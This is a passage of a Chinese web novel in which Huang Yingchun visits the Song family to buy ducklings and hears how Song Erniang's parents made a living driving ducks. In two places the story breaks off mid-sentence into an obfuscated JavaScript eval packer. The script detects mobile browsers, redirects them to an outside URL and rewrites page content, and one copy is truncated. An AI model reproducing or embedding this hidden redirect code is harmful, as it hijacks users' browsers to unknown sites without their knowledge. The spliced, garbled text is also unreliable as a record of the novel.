黄迎春既占不到便宜,又觉得自己不能放过这种便宜,又花了许久时间和人磨,最后把口水都说尽了,还是没能砍下几文价钱。 幸好,在万姓集关市时,黄迎春还是凑齐了所有想要的工具,再加上六条荨麻绳,一下子就花了一千六百文。 再算上当晚的吃食和住宿,第二天一早,黄迎春挑着扁担从鸡鸭行出来,走到渡口,乘上船付了船资后,紧贴着包袱的怀里,只剩下六百五十文。 六百五十文能买到多少雏鸭呢? 黄迎春不知道。 她挑着扁担在宋家村落了脚,一边打听一边朝宋二娘家走,没走一会儿,就见接到消息的宋二娘气喘吁吁地大步走到她面前,一把挑过她的扁担,拉着她就往前走:“妹子,吃饭了没?大米粥熬好了,皮蛋也拌上了,就等着你来吃了!一路走来饿了吧?快,和我去家里吃饭。你爱吃凉拌皮蛋吗?本来想给你煮皮蛋瘦肉粥的,我一早起来去问了,村里的朱屠夫他……” 宋二娘的话密得黄迎春三番五次插不进嘴,黄迎春像只被捆住翅膀的小鸡崽,跌跌撞撞地跟在宋二娘身后,脑子里只有一个念头:我昨天约的时间是晌午吧? 38.李干 黄迎春还没看清宋二娘家的布局和摆设,直接就被她拉进待客的堂屋,坐在一张四面八方都是人的饭桌前,脸上还没挤出一个打招呼的笑,手里已经不知道被谁塞了一把筷子。 一盘用料丰富的凉拌皮蛋,一碗热气腾腾的大米粥,放在黄迎春的面前。 芝麻油特有的香气、葱蒜的辛辣、浓稠的酱汁,活色生香地铺在二十瓣挨挤在一块的皮蛋上。 黄迎春还没吃,只一看一闻,便知这道凉拌皮蛋一定清爽开胃,十分下饭。 桌上还有其他的菜,都是各式各样的新鲜时蔬,还有一道炸鱼块,鱼是黄迎春送给宋二娘的草鱼,她特意留了几块今早炸给黄迎春吃。 “快吃吧!” “赶了一早上的路,饿了吧?” “……” 宋二娘的家人的热情程度比宋二娘有过之而无不及。 黄迎春的嘴唇动了又动,最后冒出一句请求:“我能不能……先洗个手?” 除了洗手,在宋二娘家余下这半天里,黄迎春再也没沾过水。 宋家上下都极有待客之道,黄迎春坐在堂屋吃饭时,年岁大的长辈和热情的女人们一直招呼她多吃,哪怕黄迎春放下筷子后,他们还在不停地招呼她,直到黄迎春一遍又一遍地说自己真吃饱了,这时立刻有人眼疾手快地把她吃完的碗筷拿去厨房洗,不让黄迎春动一下脚。 “不忙,你坐着歇一会儿,我来就行。”一个年轻的小娘子手脚十分麻利地收了桌。 乡下人家,并没有正式吃饭的地方。 男人们一年四季都在田地里忙活,大多时候,他们都坐在田埂上,一边望着脚下的田,一边吃着碗里的粮。 而女人们既要做饭又要送饭,所以往往在厨房忙活时就见缝插针地把自己的饭食吃了。 一年到头,也只有农闲、过年或办大事时,一家人能凑在一起吃顿饭。 男人们总是坐在最好的位置,即一条长板凳的中间。 女人和小孩只能龟缩在两侧,屁股沾着一小段木头挤着坐,时不时还要被长辈敲打坐没坐相。 黄迎春从来没有在一大堆人一起吃饭时独享一条板凳的体验,也没有吃完饭不下桌反而无所事事坐在堂屋里休息的经验,尤其是周围充满了对她若有似无的好奇打量,黄迎春一抬头,又只能看到一张满是善意的笑脸。 她的心中充满了忐忑不安。 刚认识的人,第一回来做客,就遇上这么大的排场。 宋二娘不会以为她要同她做很大的生意吧? 黄迎春坐在堂屋,想着怀里的六百五十文,越坐越心虚。 终于,她忍不住出门透口气。 对刚出生没几年的小孩子来说,家里来客是很新奇的事情。 黄迎春一起身,她的身后立刻跟上了好奇的小尾巴,自告奋勇要带她熟悉家门。 宋家的布局与黄迎春在荒山脚下的家不同。 宋二娘家是个大家族,并没有分家,所有人都挨挨挤挤地住在一起,就跟黄迎春刚才看见的那盘凉拌皮蛋一样。 凉拌皮蛋的中央是一颗圆滚滚的水煮鸭蛋,而宋家四房的中心则是黄迎春刚刚走出来的堂屋,也是黄迎春理想的“中堂”。 黄迎春第一次知道“中堂”这个概念,得缘于上辈子看过的一部电视剧《铁齿铜牙纪晓岚》中他人对和珅的一声称谓——和中堂。 为什么和珅会被称为中堂大人呢? 黄迎春有些好奇,趁着学校上微机课时那宝贵的五分钟联网时间,上网搜查了一番——原来,中堂并非正式官职,而是清代对内阁大学士的尊称。因办公位置(内阁大学士兼管六部事务,在部堂议事时居中而坐,而满汉尚书分坐两旁)得此称谓。 一个小小的知识点出其不意地在黄迎春的脑袋里扎了根——中堂,大意是指建筑中居中的厅堂。 这是一个很重要的位置! 和和珅的地位一样,不同凡响! 小小的黄迎春恪守这一见解,所以哪怕是在不知事的年纪,她也从来没在堂屋里捣过乱,总是离堂屋远远的,不像家中其他兄弟姐妹,都或多或少因此挨过打遭过骂。 甚至,这个知识点可以说是间接救了黄迎春一条命。 堂屋由于地位不同凡响,是待客、祭祖等办大事专用的地方,所以稍有条件的人家在盖房时,都会把自家的堂屋往大了盖,甚至有些好面子的人家,还会把所有的好材料都用在堂屋上,只为了旁人在新居暖屋时的一句艳羡,浑然不顾在夜里呼呼漏风的卧房。 黄迎春家是中不溜的情况,她的爷奶既不是驴粪蛋子表面光,绣花枕头一包糠的典范,也看不上把堂屋与厨房、卧室混用的做派。 穷苦人家左一张灶台,右一张床,中间放着一张桌子和几把椅子,一间屋子既是厨房,又是卧室,甚至可能连门都没有,屋子里的东西就大咧咧地敞在人家眼皮子底下。 这样的人家,一辈子也遇不上几次需要掩人耳目或是要在堂屋办大事的时候,哪怕是一年到头最大的祭祀,往往也只是把桌椅搬到院子里,对着天地祭拜。 仪式结束后,再把桌椅板凳搬回屋中,一家人窝在靠在墙边的床上睡觉。 在黄迎春的祖母看来,夫妻俩在灶王爷眼皮子底下睡觉,那是穷得没边儿的人家才会干出的事情。 “多丢脸啊!” 是啊,多丢脸啊!为了一场雪灾,就要干出这样没皮没脸卖姑娘的事情。 黄家有一间堂屋,从黄迎春出生前,它就堂堂正正地屹立在黄家中央。 无论左右人丁如何分支,房屋数量如何壮大,黄家的堂屋始终是黄家所有房屋里占地最大的一间屋子。 所以每回堂屋里一亮灯,一聚人,黄迎春就知道,家里有大事要发生了。 黄迎春没想到,雪灾后,房子都倒了,堂屋也塌了,她的爷奶爹娘叔伯婶姑还能聚在堂屋前商量大事。 所谓大事,就是她爹的腿被砸伤了,亲戚们不愿出钱,爹娘为了儿子,为了没影的孙子,为了他们的将来,不愿意卖田卖粮卖牲畜,反倒想把养了十二年的闺女卖给一个愿意出五贯钱的酒鬼。 黄迎春一生中没偷听过几回墙根,没想到最后一次临时起意的偷听,竟让她救了自己的命。 进宫又出宫,中堂是指建筑中居中的厅堂这一点,黄迎春始终没有忘怀。 当宋大问她要盖什么样的房屋时,黄迎春张口就说:“一间厨房,一间堂屋,一间卧房。” 茅房不是必备的,买个夜壶就能解决的事情,黄迎春不想多花钱。 她嘱咐宋大:“房屋样式无所谓,结实些就成,不要几场雪下来就压塌了。” 宋大连连保证,又问黄迎春要不要搭个火炕。 火炕,在上辈子是北方的产物。黄迎春虽然两辈子都是实打实的南方人,但她上辈子去过北方旅游,在农家见过火坑,对火坑有些简单的了解。 在黄家村里,哪怕是觉得自己快冻死的时候,黄迎春也从未听过哪户人家家里有火炕这玩意儿。 不曾想一进宫,她就见到了。 北方的特色,怎么会出现在南方?这是黄迎春所不能理解的。 旁人笑黄迎春大惊小怪:“这是天子脚下,皇上想要什么没有!再说,咱这永安城本来就是迁都来的,往上数几辈,哪个人的祖宗不是北方人?你以为这火炕是咱们宫里专有的?告诉你吧,那些当官的大人家里,早多少年就已经舒舒服服地在冬日里睡上火炕烧上火墙了,也只有你这没见识的,估计在家过个冬连块木炭也烧不起,只能窝在羊身下取暖吧?” 黄迎春没有争辩,她深深地低着头,渐渐地红了脸。 旁人以为她是尴尬,或是被气得羞红了脸,其实黄迎春只是不想让人看清她的神色。 黄迎春在心里暗暗告诫自己,这是一个崭新又陌生的世界。 虽然它的生产力水平比现代低下,虽然它不是她所知的任何一个朝代,但是阶级之别是共通的。 哪怕是在人人平等的现代,权力大、财富多的人,往往也会比其他人享有更多的风景与便利。 她虽然有现代的记忆,但未必会比只活一世的安朝人聪明。 反而,在科技水平不够发达的世界里,兴许能激发出大脑更多的潜力,使人开发出更多的可能性。 最要紧的是,她如今已在深宫,这是一个离皇权最近的地方,也是掉脑袋风险最高的地方。 她要打起十二万分的小心,宁可让人笑话没见识,也不能自视甚高,以为自己可以做成什么事。 伴君如伴虎,苟着才是王道。 终于,黄迎春熬到了出宫,她不用再刻意掩盖自己的见识,因为哪怕有人能通过她的言行举止和衣着打扮猜到她的来处,也无人敢打听。 她身上所有不同寻常的行为,但凡有人问起,黄迎春都可以用自己入宫十五年的经历做掩盖。 只要这一句,就无人敢再继续打听。 皇宫是哪里?那是皇帝——天底下最有权势的人待的地方,所以侍候皇上的人懂些别人不知道的事情,那是再应该不过的了。 什么?怀疑?不不不,我只是好奇,你千万别怀疑我,我绝不是奸细,也没想干坏事。你为什么这样看着我?我真的不想干坏事!真是,我为什么要怀疑呢?我一个平民百姓,打听宫中的事情,是何居心?我为什么要打听呢?我为什么要好奇呢?这是我该好奇的事吗?天哪,我摊上事了,怎么办?我为什么要开口搭话呢?我这嘴真应该缝起来…… 黄迎春只要往皇宫的方向指一指,再高深莫测地盯着对方,皮笑肉不笑地呵一声,上一瞬还在和黄迎春东说西聊的人就会自己脑补一大堆,再也不敢和黄迎春有过多的牵扯。 牙人都是人精,虽然宋大是从乡下调上来的,不如其他长在城里的牙人有眼力见,但他个性聪明,从来不瞎打听。 黄迎春知道火炕和火墙是什么,宋大就不再解释和介绍。 黄迎春不知道永安城里的普通人家冬日都用着火炕,宋大也不吃惊。 黄迎春问做火炕、烧火墙的价钱,宋大立刻细细地给她讲解。 慈善堂里有火炕,但黄迎春租的那间屋子是云娘子喂奶专用的,并没有火炕。在她抱着汤婆子窝在芦花被里的每一个夜晚,黄迎春都在想着她在荒山脚下的新家,新家里的火炕,该是多么的温暖舒适啊! 有了火炕,哪怕烧不起木炭,她也能在冬天过得舒舒服服的。 火炕这么好的东西,黄家村里为什么没有?黄迎春并不清楚其中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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飘着黄桂花的酸梅汤盛在白杯子里,杯口忽忽悠悠地飘着一点儿热气。 “酸梅汤本该放在井里湃过,阿奶说黄娘子刚吃了热粥,不宜立吃冷饮,所以我调了一杯热的,黄娘子尝尝看,不好喝就放着,我再调一杯蜜水来。” 宋二娘的小闺女一来一回,又带了一个厚重的点心盒子。 黄迎春这回不敢再多看,等乖巧的女孩儿走后,她低声和宋二娘说:“二娘,我和你交个底,我只带了六百五十文来。不是不想多买,是实在钱不够。你快把这些好东西收起来吧,你这么做生意可不行,忒亏!” 这话怎么这么熟呢?宋二娘脸一虎,语气严肃:“你说得可是真的?” “是真的。”黄迎春点头,“我只能同你做六百五十文的生意,不是六千五百文,刚才的朝食已经够破费的了,你快把这些点心都收起来吧,我不饿。” “你可知道我花了多少工夫才搜罗来这些东西?”宋二娘抓了一把个大皮皱的红枣放在黄迎春手里,合上她的手,轻拍两下,忽然笑个不停:“安心吃吧,乡下地界常有的东西,不值什么钱,费点力罢了。” 宋二娘一边开点心盒子一边和黄迎春说:“这些东西看着虽多,没一样是买来的。 “这山楂干,是我侄儿家送来的。他家有棵山楂树,酸得鸟都不爱吃。酸山楂吃多了倒牙,自家吃也吃不完,他每回收了都要送我一筐。新鲜山楂放不住,我就把它们切成圈再晒一晒,专治小孩积食,也省得他们偷吃,吃得成天捂着牙叫唤! “这些梨啊,桃啊,杏儿的,也都是一样。各家淘换一下,留一些自家吃,其余的全做成久放的果干。 “你快都尝尝。爱吃酸不? “我家有棵青梅树,现在正是青梅长得最好的时候,好看又好吃。这些都是前两天刚采下来的,洗干净又晾干的,放心吃。 “你要爱吃甜的,就尝尝这黄梅,对了!” 宋二娘拍着桌子,又拉长嗓子往隔壁喊:“莺——儿——,你三姑姑前几日送来的胭脂梅呢?也洗几颗送来给黄娘子尝尝。” “哎——,就来。”年轻女娘清脆的嗓音远远传来。 “不,不用……” 黄迎春压根没有推辞的空档,因为,宋二娘转头就又开始给她挑拣新零食:“妹子,你尝尝这核桃,去年刚打的山核桃,结得不多,倒是香着呢!可惜啊,量少,不然还能存些拿去镇上榨油……” 黄迎春听得一愣又一愣,嘴里和手上塞满了宋二娘推销的吃食。 在门外偷听的小家伙们藏不住,一个接一个跑到宋二娘面前,一边觑着黄迎春的脸色,一边向宋二娘讨点心。 红枣、青梅、李干……宋二娘一人手里放一把,每把零食都不重样,最后一拍手,让孩子们一边玩去:“分着吃,知道吗?别吵架。拿稳了,别跑,别摔了。” 虽然知道不该问,但黄迎春还是像个二愣子一样秃噜出一句话:“二娘,你是当家的啊?” “我是赚钱的。”宋二娘得意地说。 不知道这李干是谁晒的,入口微酸,回甘却是甜的,晒得极好,黄迎春甚至能在李干布满天然褶皱文理的棕褐色表皮上看到一层浅浅的金色糖霜。 黄迎春努力克制自己,但还是忍不住吃了一颗,又拿了一颗。 她嚼着果肉饱满的李干,在大雨天里安然坐在干燥的屋里,听宋二娘眉飞色舞地讲故事。 39.白茅根 宋二娘的故事,是从几十年前讲起的。故事发生的地点也不在宋家村,而是宋家村隔壁一个稍小一些的村庄——小宋庄。 有一个苦命的女娘,携弟带母,从家乡逃荒而来。她的父亲,在路上就已经病死了。母亲由于想省粮给儿女吃,身上也只剩下一口气,走到小宋庄时,再也走不动路。女娘没有办法,只好把自己卖给一户一直说不了人家的汉子做妻,只求能给母亲一口饭吃,让弟弟有一处栖身之所。 小宋庄里的大部分人家都姓宋,农人没有文化,起名重复是常有的事情。重名的人,大家都会找一些特征加以区分,或是擅长的手艺,或是性格……这位女娘嫁的夫君名叫宋天乐,整个小宋庄里找不到一个与他重名的人,但几乎没人叫他这个名字,人人都戏称他“矮子宋”。 宋天乐由于天生个矮,比许多女娘都不如,一直被人嫌弃,老大不小了,连个结亲的苗头都看不见,家人苦他亲事久矣,所以见了愿意上门做妻的女娘,顿时如获珍宝。 宋天乐也十分爱重自己的妻子,觉得她孝顺,坚强,她这个人如同她的名字——聂冬花,就像冬天里开出的花,让人看着就高兴。他心疼她一路吃苦受累,也怜爱她不仅长得比自己高,还比自己好看,性情又好,却一点儿也不嫌弃他的个头。 屋外的雨势越来越大,豆大的雨点噼里啪啦地打在地上,空气中偶尔吹来一阵微风。 夏初的雨,气息是清新的,它既无春时的冷寒潮湿,又无盛夏的沉重滚烫。 堂屋大开,黄迎春坐在风口,却莫名觉得自己的喉咙黏做一团,她轻声问道:“冬花娘子心里真的是这么想的吗?” “冬花娘子?”宋二娘笑道,点点头,就着这个称呼继续说道,“冬花娘子只觉得自己有了一个落脚的地方,她看着还活得好好的母亲和弟弟,只想和自己的郎君把家里的日子过得红红火火,过出一个人样来。” 宋二娘叹道:“她是真的能吃苦啊!” 本来就是土里刨食的人家,一下子添了三张嘴,冬花娘子和她的矮子郎君拼命干活,一家人还是长得面黄肌瘦。 冬花娘子又一次被逼上梁山,好在,这一回,她的身后站着她的郎君。 矮子宋更矮了,他不让冬花娘子跟着,而是孤身一人,带着一些土仪走遍了小宋庄,和人弯腰陪笑,用借来的钱买了一百九十八只鸭苗。 鸭苗怕热怕冷怕病怕惊怕蛇怕狗,没等出门,便没了十三只,一直精心照料鸭子的冬花娘子哭了一场,之后,无论谁来说,她就是打定主意要和郎君一起出门赶鸭。 “出门赶鸭?”黄迎春不理解。 鸭子不是只要早起放出鸭舍,晚上再拎着竹竿把它们唤回家就好了……难道宋家这边养鸭不一样吗? 宋二娘问黄迎春:“你养过最多的鸭子,是多少?” 黄迎春翻了翻儿时在黄家村的记忆,不大确定地说:“八……九只。” “用什么喂?” “鸭子会自己找食。”黄迎春不假思索地说。 虽然喂鸡放鸭已经是十几年前的事了,但黄迎春刚学会走路还没多久,自己脚下的路还走不稳的时候,就已经被分配了喂鸡喂鸭的活。 尘封的记忆一旦露出一个口子,过往便再也没有隐藏的机会。 “小鸭子喜欢吃草。稻田里放水时,要把小鸭子带到田里去。小鸭子在田里吃着,我在旁边守着。小鸭子一吃完草,就要把它往另一片稻田赶。没有及时赶,吃完草的小鸭子就会开始吃稻田里的稻苗。” 黄迎春说着说着,身形还微微瑟缩了一下。 那是记忆中长期被打之后带来的下意识反应。 正常情况下,小鸭子喜欢吃杂草更甚于稻苗,但总有一些小鸭子不同寻常,稻田里有嫩草它们不吃,偏偏要去啃稻苗。哪怕一发现就及时驱赶,但大人们在田里劳作时看到残缺的稻苗,依然会把火气发到黄迎春身上,认为全是她看管不周到的缘故。 水稻结种之后,就再也不能把小鸭子往稻田里放了。 不过,那时,小鸭子们的个头也都大了一圈,比起泥泞的稻田,它们更喜欢在水沟、池塘或浅浅的溪流里嬉戏和觅食。 鸭子是杂食性动物,它们不仅吃草,也吃小鱼小虾、泥鳅飞虫等。 黄迎春有次吃水煮紫苏田螺时,家养的鸭子还跟到她身边来讨食,想来田螺也是鸭子的喜爱之物。 反正家里养的鸭子不管是下蛋还是吃肉,都没有她的份儿,所以黄迎春从来不发给鸭子“加餐”的善心,但要是自己养的鸭子,那就不一样了! 黄迎春已经打算好了,马无夜草不肥,想必鸭子也是如此。 她今日从宋二娘家买了鸭,不等到家,在回家途中,看到鸭子爱吃的嫩草,她就要立刻用镰刀割下来喂给鸭子吃。 啊,我的鸭子,我的养殖大业! 正当黄迎春一边喝酸梅汤一边陶醉在自己的养鸭计划中时,宋二娘开口了:“八.九只鸭子那样喂没问题,一百八十五只鸭子,哪来那么多的吃食呢?” 养鸭大业……危! 宋二娘轻飘飘的一句话,让黄迎春从她的美妙幻想中及时惊醒。 黄迎春忽然意识到,她的养鸭计划实在是太粗糙了! 十只鸭子和一百只鸭子,是完全不一样的养法。 她能养好十只鸭子,未必能养好一百只鸭子。 黄迎春顿时如同在雨中搬家的蚂蚁一般焦虑不安,她连忙问道:“那冬花娘子怎么养她那一百多只鸭子的?赶鸭是怎么赶的?还请二娘和我细细分说。” “赶鸭,是一门行当。专做这门行当的人,被称为赶鸭人。”宋二娘娓娓道来。 赶鸭这个行当是极其辛苦的,赶鸭人风餐露宿,是真正的以天为被、以地为席。 春天水暖后,赶鸭人会带一批健壮的鸭苗一路往南,利用鸭子觅食的天性,让它们自己在草地和河里觅食。 路过稻田,只要赶鸭人和农人商定好,就可以把鸭子赶到稻田里吃虫吃草。 鸭子一边吃一边拉,稻田里的虫子没了,草也被鸭爪子踩到地底,落下的鸭粪又肥了田,于农人来说,是天大的好事。 若遇上有良心的农人,鸭子在稻田里吃草吃虫的这段时日,赶鸭人便也跟着不愁吃喝。 若遇上没有良心甚至倒打一耙的,哪怕事先说明鸭子可能会吃掉少许稻苗,赶鸭人最后也得赔偿农人的损失。没钱,农人就会把鸭子抓走,赶鸭人自是不肯,但他双拳难敌四手,遇上人多势众又不讲理的村民,向来只有吃亏的份。 若遇上势大的,以后赶鸭人赶鸭都不能再往这个村里走,这种事情也是有的。 鸭子一路走一路吃,赶鸭人也绑着腰篓,拎着长长的带叶竹竿,背着沉重的鸭棚,在鸭子们身边日日夜夜时时刻刻地跟着。 他们一起走过水稻抽穗前的稻田、收割后的粮地、泥泞的河滩、鱼虾丰富的河湖…… 鸭子们吃饱了,开始下蛋。 这时,赶鸭人就会把鸭蛋一个个捡起来放在腰篓里。每当路过村庄,就拿鸭蛋和人换粮食,用随身携带的陶锅给自己煮粥吃。 就这样饱一顿饥一顿,过了一天又一天,直到路上的吃食越来越少,天气越来越冷,鸭子也越来越大。 赶鸭人就会把鸭子们赶到一个富庶的地方,趁着年节,把鸭子们卖了换钱,揣着热乎乎的钱回家与家人团聚。 来年春暖花开,赶鸭人就会再买一批鸭苗,踏上去年的路。 “赶鸭虽然辛苦,但若是鸭子赶得好,一年下来,赚到的钱一定比在家种地多!” 冬花娘子在逃荒路上就见过赶鸭的,他们之所以能撑到小宋庄,就是靠赶鸭人施舍的鸭蛋才活了命。 “我们同走了九天,我知道怎么赶鸭。”冬花娘子坚持要和郎君一起出门赶鸭。 农人想有一门赚钱的手艺,除非祖上积德,生来就有一门传家的好手艺,否则只能靠姻亲和拜师学艺。 宋天乐的个头,不管是上门入赘,还是拜师学艺,人家都看不上。 他常年被人嘲笑,心中也自卑,知道自己不好结亲,于是愈发卯了劲地下地干活,给自己攒彩礼,一向连村子都很少出。 一家人思前想后,最后还是同意了冬花娘子的提议,备好干粮,送夫妻俩出了门。 赶鸭实在辛苦,但夫妻俩二人同心,其利断金,终于,第一年,他们磕磕绊绊地把鸭子赶到了南方一个富庶的城镇,卖了不少的钱,回家过了一个肥年,又置了两亩地。 只是,虽然赚了些钱,但冬花娘子也没了她的第一个孩子。 冬花娘子在离家前已经怀了,但她并不知情,赶鸭辛苦,又时常吃不上饭,冬花娘子肠胃不适,也只以为是常喝生水吃生食闹肚,总想着忍忍就过去了,结果一日血忽然流了半身,才知道掉了一个孩子。 回家后,家人得知,一家人抱在一起哭了一场,冬花娘子抹抹眼泪,过了年,又和郎君出门赶鸭了。 这一回,他们处处小心,没再掉孩子,但也没怀上孩子。 有孩子心急,没孩子也心急,如此忧虑了三四年,冬花娘子终于盼来了她的第二个孩子——一个生在年夜里的小女娘。 这个孩子被一大家子人盼了许多年,终于来了,人人都笑呵呵的。 “生在年夜里好啊,一辈子不愁吃喝,是享福的命。” 当爹的一边笑一边发愁:“起个什么名好呢?盼儿?不成,村里叫盼儿的人家都是盼着生个儿子的,我不能让我家小娘子有这么个名字,她会不高兴的。” “就是,咱眼巴巴地盼来的,不管男女,都是好的。若有孙子,他和他姐姐一样,见着家里好了,有钱养他们了,他自然会来的。用不着给我孙女儿给个这样的名儿,再想想。” “叫盼春。”冬花娘子醒来说,“春天到了,鸭子就能养活。她是年夜里生的,就叫盼春吧,盼她的日子和春天一样,水暖食多,有希望,不遭难。” 宋盼春有疼爱她的爹娘、爷奶、外祖母、舅舅等各种生怕她吃不饱穿不暖的长辈,哪怕后来她又有了两个弟弟,她也是小宋庄里独一份的小娘子。 日日吃蛋,月月吃肉,年年穿新衣,虽然个头不高,但身板重得能把取笑她的丫头小子们压得哭爹喊娘。 宋盼春十五岁时,嫁到了隔壁的宋家村,但她还是常常往娘家跑。 婆婆不高兴,偏偏自家生了三个男丁,个个长得人高马大,一顿能吃掉人家家里两天的粮,虽然不至于苛待儿媳的吃食,但二儿媳的饭量大得快比得上她郎君,见她多回几趟娘家就能多省下自家的几口饭,也只能睁一只眼闭一只眼。 可是,进门快一年了,肚皮还不鼓,这是怎么回事呢? 面对婆婆的敲打,宋盼春振振有词:“没钱拿什么养孩子?孩子得靠缘分。孩子见着家里有钱了,知道家里能养得活他,他自然就来了。娘,咱们还是先赚钱吧。我爹给我抓了五十只上个月刚孵出来的小鸭,您看看我们养在哪里比较好?田边那个水塘我觉得就不错,浮萍那么多,年年养鱼都养不成,不如拿给我养鸭,正好,鸭子还能吃浮萍呢!” 雨停了,宋二娘带黄迎春出门去水塘抓鸭子,在田埂上遇到一个身形雄伟但一见她们就笑的中年汉子,宋二娘随手抖了抖汉子身上沾满雨水的蓑衣,和他说了两句话,又转头和黄迎春边往前走边说:“那是我家郎君,你要见着他,叫‘宋二’就成,他在家行二,和我一样。” 宋二娘的故事讲到宋盼春出生时,黄迎春便隐隐有了猜测,后来听到水塘,现在又遇到宋二,她的心中升起一种“果然如此”的感慨。 黄迎春笑道:“盼春……二娘,你的名字真好听。” 宋二娘又露出那种有点得意但不想显露于人前却压不下去的表情了,然后,她就问了一个有点让她后悔问出口的问题:“妹子,你的名叫什么?” 黄迎春平静地说:“我出生的时候,我爹在院子里急得团团转,听到是个女娘,就没兴致了。看见门口迎春花开着,就说,叫迎春吧。所以,我就叫黄迎春。” 宋二娘:“……” 她怎么这么嘴欠呢! 宋二娘嗨了一声,满不在乎地大声说道:“这没什么,爹娘不能自己选,自己想过什么日子是能自己定的。妹子,我见你第一天,我就知道,你这人,能过上自己想要的日子。” “怎么说?” 黄迎春是实在没招了,才把用来应付意外支出的一贯钱全带出门来置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012507|190244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办家产。 而她刚才坐在堂屋里听宋二娘说赶鸭人如何辛苦,养鸭如何费劲,心里对她能在荒山脚下把养鸭场办成这件事已经越来越没底气。 她自己尚且对自己缺乏信心,不知何时才能看到活过今年的希望,而一个只和她相识一天多的人,竟然认为她一定能过上她想要过的日子。 黄迎春实在好奇宋二娘说这话的依据。 宋二娘神秘一笑,又开始给黄迎春讲故事:“当初进门的时候,家里人都觉得我吃得多,尤其是在我前后脚进门的妯娌,每次我准备再去舀饭时,一个个的眉头拧得跟毛虫成精一样。 “但我在家就是这么吃的,总不能成了亲,过的日子比在家里时还差吧? “所以她们不服气,但也只能憋着,气一直憋着心里也不舒坦哪,她们就把我排开,两个人凑一堆成天聊。话里话外不是她们吃得少但干活和我差不多,就是她们吃得少但已经生了孩子,肚子里揣了崽。 “成天地在我耳边絮叨啊,絮叨得宋二他爹娘看我眼神都不对劲了。” “然后呢?”不婚主义者黄迎春捧场地问。 “我没搭理他们。我十五成亲,进门头一年我就看清了。郎君大伯小叔公婆妯娌都能干,但他们也能生能吃啊,一出一进,等于什么都没剩下。要想过好日子,绝不能靠种地。” 这话黄迎春十分赞同,她连连点头。 “看是看出来了,这话我不能回家说哪。我爹人好,我娘不嫌我爹个矮,我也不嫌,但打小我就因为个矮被人家欺负,虽然打回去了,但天天不高兴。我就一边吃一边下决心,以后一定要找个个高的郎君,比嘲笑我的那些人长得都高。果然,被我找着了。” 走到宋家的田边,宋二娘十分得意地指着一个正举着锄头疏水的高个壮汉,向黄迎春介绍:“那是我家大儿。” 黄迎春嚯一声,立刻举起双手鼓掌:“能把孩子养这么大这么好,二娘,你真是厉害啊!” “多亏了他外家。”宋二娘沿着一片桑林走去,一边带路一边继续说道,“爹娘和儿女连着心,我不说,我爹娘也知道我在宋家的日子过得没有自家自在。 “他们想常常让我回家给我补身体,但出嫁的妇人一直往娘家跑总让人说嘴,我爹被人说了一辈子,怕我也被人说,就给我想了个法子,让我养鸭。 “其实他没真想让我养鸭,就是想打个幌子。 “他赶鸭赶了许多年,最知道养鸭的苦。 “他就想让我找个由头,能多回家吃几顿好饭。 “我娘不高兴,她说爹有娘有不如自己有,要想有一辈子的鸭蛋鸭肉吃,还是得自己学会养鸭,她就帮我盘弄着,把养鸭这一摊子事给弄活了。 “我爹娘养鸭是出了名的,镇上的酒楼都知道我们宋家养的水鸭好,周边的人从来不去鸡鸭行里买雏鸭,每年我娘种蛋还没挑好,就有一堆人来我家定雏鸭。 “我养的鸭子,无论是鸭蛋还是鸭肉,根本不担心卖不出去。 “养鸭头一年,家里不仅吃上鸭蛋、鸭肉,我还往家拿了好多钱,让大家过了一个好年,那一年,我一句不顺耳的话都没听见。 “等我十八生子,一连生了三儿一女,各个都身强体壮,而且生得快得很,也不费力,我那两个妯娌不认为是我身板子打下的底好的缘故,还来找我取经呢。” 宋二娘摇摇头:“她们每顿就吃那一点儿,有点儿好的都要留给孩子,自己舍不得沾一口,却问我怎么生孩子才能生得像我那般轻松,孩子生下来既健壮又好养活。” 黄迎春回忆了一番今早她在宋家看到的那些面孔,虽然每个人的脸色不同,但总体的气氛是其乐融融的,她向来会看人脸色,并不觉得宋家是面和心不和的样子。 黄迎春问:“你怎么回答的?” 宋二娘要怎么回答,才能让这一大家子其乐融融呢? 宋二娘伸出一只手,比划道:“我就五个字,母健则子壮。人贵在自知,要看得清自己。农家人就不要想什么当官的美事了,与其把钱省着去办那些不知哪个年头才能实现的大事,不如买点好米好肉,把自己的身体养好。孩子们要成亲,要学手艺,这些都要钱,我知道,但不能为了攒钱就不顾自己和孩子的身体。说句不好听的,万一孩子还没长成,自己先倒了呢?或者孩子因为缺衣少食,长不高根本没人能看上结亲呢?” “……” 黄迎春觉得宋二娘这话有影射她父亲的嫌疑,但她说得十分坦然。 “反正啊,不管干什么大事,我觉得都得先吃饱了才行,要不然什么大事都办不成。”宋二娘看着黄迎春笑,“我昨儿看见你时,见你瘦胳膊细腿的,在渡口里扑腾,那个费劲啊,还以为你也是要省钱办大事的人。后来得了你那鱼,又吃了你那卤鸡腿,我就明白了,你是和我一样的人。” 黄迎春跟着宋二娘穿过茂密繁盛的桑树林,眼前骤然开阔。 上百只密密麻麻的鸭子或游或飞,聚集在这一池干净明亮的水塘里。 鸭子们嘎嘎地叫着,水声不断,又吵又静。 雨水冲走鸭粪的臭味,空气中弥漫着一股说不出来的味道,黄迎春不舍得闭上眼睛,只能抽着鼻子用力地闻,却什么也闻不出来。 她被面前的这副盛况震撼得一个形容词都想不出来了,只剩下本能的赞美。 好多生机勃勃的鸭子,真美哪! 在黄迎春贪婪地看着眼前的美景时,宋二娘正蹲在水塘旁边拔草,过了一会儿,她递给黄迎春几根洗净的白茅根。 “这水塘原来是一片绿,现在养鸭子养得到处都是土,好不容易有点绿意,眨眼就被鸭子给吃了。也就这白茅根,长在地里,鸭子翻不出来,你尝尝。” 